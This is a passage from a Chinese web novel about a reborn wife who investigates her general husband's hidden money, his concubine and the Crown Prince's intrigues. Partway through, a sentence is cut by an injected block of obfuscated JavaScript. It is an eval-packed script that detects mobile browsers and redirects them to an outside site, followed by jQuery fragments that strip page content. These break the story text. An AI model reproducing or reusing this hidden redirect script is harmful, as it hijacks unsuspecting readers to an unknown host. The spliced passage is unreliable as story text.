栖棠院中枕月亭檐角的铜铃被吹得叮当作响,苏宥棠眯起眼睛看着欲言又止的明溪和了然于心的秋檀微微笑出了声。
“小姐!”明溪急得直跺脚,“姑爷都这样维护林姨娘了,您怎么还笑得出来?”
“我不是跟你说了要找小俏郎君吗?”苏宥棠打趣道。
“小姐,都什么时候了还寻开心,那林姨娘刚过门第一天就这样,日后不得骑在您头上啊。”
苏宥棠低头掩住唇角笑意,“秋檀,你和她说。”
“小姐啊,想和离呢!如今那林氏的做派正合小姐心意呢。”
明溪瞪大了双眼“和离?”
秋檀望着这傻姑娘摇了摇头,除了再活一世,其他都同她说了。
……
“那小姐为何不如今就和离呢?”
苏宥棠指尖一顿,垂眸望着盏底残留的茶渣,“现在走,岂不是成全了他们?”
“把白芷叫来。”苏宥棠淡淡开口。
前世她一心扑在裴彦知身上,府中大小事务皆由管家一人处理。她房中的人并未安排插手府中事务,更遑论接触账册这等机要,莫说知晓府中具体存银,便是各院每月的例银发放,她也只派管家按着旧例领取。直到那日林姨娘来她面前显摆裴彦知新给她买的翡翠头面,她才惊觉,私下翻看账册,流水竟有五万两之多,裴彦知当时不过四品官职,年俸连这些银钱的零头都不够。
由此这一世在她“醒来”第二日便派白芷全面掌管,瞧着是大丫鬟,其实是府中掌事。
“小姐。”白芷捧着账册进来了。
“怎么样了?”
“府中存银同姑爷的俸禄有很大出入,府中账目简单,很容易就理清了,奴婢发现姑爷每次出征回来,府中账上就会多出银票,少则几百两,多则几千两,而且据奴婢观察姑爷应该是有私库的,因为从建府以来的账册中没有姑爷的支取记录。”
苏宥棠望着秋檀问道:“这一部分的钱,你觉得像军饷吗?”
秋檀从袖中抽出隐雀阁的线报:“主子,据阁中来报,不是军饷,奴婢正在查。”
苏宥棠点点头,“好,你把查到的收好,或许日后有用。”
苏宥棠似是想起了什么,“我记得你说,有一家胭脂铺的老板娘是陛下暗探,专查三品以上官员的账目是吗?”
“奴婢知道该怎么做了。”秋檀心下了然,隐雀阁打听消息还是简单的。
“嗯,办事小心些。还有,林氏该是先出的教坊司才投奔的裴彦知,查一下是如何出来的。”
“是。”随即便出门给隐雀阁下任务。
城中一处府邸的夜亮如白昼。鎏金宫灯沿着白玉廊柱蜿蜒排开,烛火摇曳,听说这烛火是南海进贡鲛油提炼而成,整夜不灭。这般逾制的待遇,正是陛下特许。
那少年站在廊下,几乎要融进夜里,目光落在手中的密报上,眉如寒刃,一双风眼幽深,不见波澜。鼻梁高挺如刃,薄唇紧抿,唇角微微下压,整个人透着一股肃杀之意。
廊中摇曳的宫灯掩住了眼底那一瞬的杀意,唯有眼角一颗极淡的痣,在苍白的肤色上格外醒目刺眼。
“太子有动作吗?”
“禀主子,还未,不过,定西伯纳妾那一日,太子送了好些东西去。”
“盯着吧。”
穿堂风掠过檐角,吹得他衣袍微动,腰间玉佩无声轻晃,在月色下泛着冷光,宫灯照在沉舟刚递过来的裴府密报上。
“定西伯夫人苏宥棠婚后性情大变,定西伯因妾室林氏与其夫人大吵……”
连日阴雨,府中的青石板路上积了一层薄薄的水洼。苏宥棠撑着油纸伞从院中回屋,裙角已被雨水打湿。
老夫人院中的崔嬷嬷来请苏宥棠。
“夫人,老夫人请您过去说话。”
苏宥棠整理好衣衫来到慧明轩。老夫人正捻着佛珠修剪一盆兰花,见她进来,笑着招手:“宥棠来了,坐。”
“母亲。"苏宥棠行礼后坐下,神色如常,她知定是那日她与裴彦知闹不愉快的事传到了裴母耳朵里。
老夫人放下剪刀,仔细打量她:“听说前几日,你和彦知因为林氏闹了些不愉快?”
苏宥棠平静道:“劳母亲费心,不过是些小事罢了。”
“那林氏的事,我听说了,她其实是同彦知一起长大的,只是后来他父亲贪污赈灾粮被判斩立决,由此她才进了教坊司。这事情也怪我在彦知归来当日没拦着。”
苏宥棠垂下眼帘:“儿媳未能处理好家事,让母亲操心了。此事和母亲无关,若是当日儿媳未提出,日后夫君也会将林氏纳入房中的。军中突然出现一女子已被很多人知晓,在他们归来之前,已有人修书一封传至儿媳手里。只是夫君忽略了一点,天下没有不透风的墙。”
“你进门前我确实不喜你,外头风言风语传的你是如何骄纵任性,若不是苏相提出让彦知娶你,我都想不到你竟会能成为我的儿媳,这门亲事,本就是裴家高攀了。”
裴母端起茶盏,轻抿一口,“本以为你这样的千金小姐进门后定不会打理府中事务,我连庄子上的王嬷嬷都调了回来,谁知你在大婚第三日便把府中大小事务接了过去,比我当家时还利索。”
再抬头时眼底浮现几分赞许:“倒是我看走了眼,彦知能娶到你,是他的福气,林氏之事,确是我那糊涂儿子的错,我己差人去叫他过来,今日定会给你赔不是。”
“不必了母亲,将军爱重林氏,是少时便有的情谊,只是儿媳当日让父亲逼着他求娶时并不知他心有所属,如今已是后悔莫及,如今夫君宠爱谁儿媳已经不在意了。”
看着儿媳倔强的神情,裴老夫人忽然明白了什么,“宥棠,你对彦知,是不是已经……”
“是。”苏宥棠坦然承认,“儿媳对将军,已无半分情意。”
话音刚落,门外传来响声,崔嬷嬷慌忙进来禀报:“老夫人,将军他刚才在门外,现在已经走了。”
她向老夫人行礼后转身离去,背影挺得笔直,却透着一股说不出的孤寂。
裴彦知想起近日苏宥棠看他时那平静如水的眼神,忽然感到一阵莫名的心慌。他端坐在书房看着桌前的小泥人,那是十五岁的苏宥棠亲手捏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588652|171772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,威逼着他放在自己的书房。
可他…可他未曾喜欢过苏宥棠啊,如何会有这种感觉?而且那女子怎会变得这么快?明明是她逼着丞相求娶,如今怎会……
林氏听闻此事后,嘴角勾起一抹得意的笑,也有她苏宥棠吃瘪的时候。吩咐春云:“沏壶茶,我们去老爷书房。”
林乐茹刚一推开书房门就看见楞坐着的裴彦知:“彦知哥哥,乐儿亲自泡的雨前龙井,你尝尝。”
裴彦知一扫眉间的阴霾,“还是你最贴心。”
“老夫人可是为了那日的事情说你?乐儿可以去和老夫人夫人解释。误会都是因妾而起……”
“无妨,你身子好了吗?若无其他事,你便回去吧,我还有公务要处理,晚点再去你那里。”裴彦知对她本颇多耐心,只是今日,他想尽快结束,一个人静静。
林乐茹把喉间的话咽了下去,“好,那我等你。”
秋檀神色匆忙走进栖棠院,“小姐,奴婢在查账目的过程中,发现还有人也在查。”
苏宥棠霎时一惊,“还有人?”
“奴婢查出府中多出的银钱是姑爷立了军功,陛下和太子殿下赏赐之物,若是新奇玩意儿便留下,寻常之物便派管家去当铺当了。”
“当铺?这是为何?”苏宥棠诧异道,明明上一世是因为贪污军饷,而且太子殿下本应是在明年的春猎被裴彦知相救,才有接触的,怎的提前了?
“正是,奴婢派人去当铺翻过账本,和府中多出来的银子对的上。奴婢知道小姐在惊讶什么,这些银钱来路干净,账面上干干净净,确实未曾有半点不妥之处。”
“线报上还说,姑爷第一次出征时,还是小小的校尉,凯旋归来途中,曾遇上一批因打仗无家可归的流民,饿的啃树皮充饥,姑爷将身上的银钱全部拿了出来换成米粮,就地支起棚子熬粥。临走时,一行人跪在地上直磕头,姑爷和将士们都红了眼眶……”
她顿了顿见主子似有不解,“后来姑爷屡立战功,渐渐升了将军,每次归来途中,他都会刻意绕道,专挑那些贫困的县城停留,把剩余的军饷尽数救济给穷苦百姓,奴婢想来,姑爷将赏赐之物典当,也是因为如此。”
“朝中那些嚼舌根的,起初都说姑爷不过是倚仗相爷的势,后来升的如此之快是陛下见一个武将能如此体恤百姓,有救世济民之心实属难得。阁中探来的消息中,姑爷确实和上一世不一样了。”
秋檀话音落下,屋内一时静默。窗外骤雨初歇,檐角的雨滴敲打在青石阶上,声声砸进人的心里。苏宥棠望着窗外,不知在想些什么。
“太子呢?太子这一世可有变化?”
“回小姐,并未。太子殿下这一世的行事作风,与从前并无二致。阁中送来的密报上说,东宫上月又暗中收受了江南盐商的孝敬,有十二名扬州瘦马被秘密送进了东宫别院,还私藏了八箱金银珠宝。”
“太子招揽姑爷,不过是因姑爷如今圣眷正隆,相爷门生故旧遍布六部,却始终未明确站队。那十二名扬州瘦马里有两人已被隐雀阁替下,传来的消息中说:‘太子秋猎,众皇子险’。”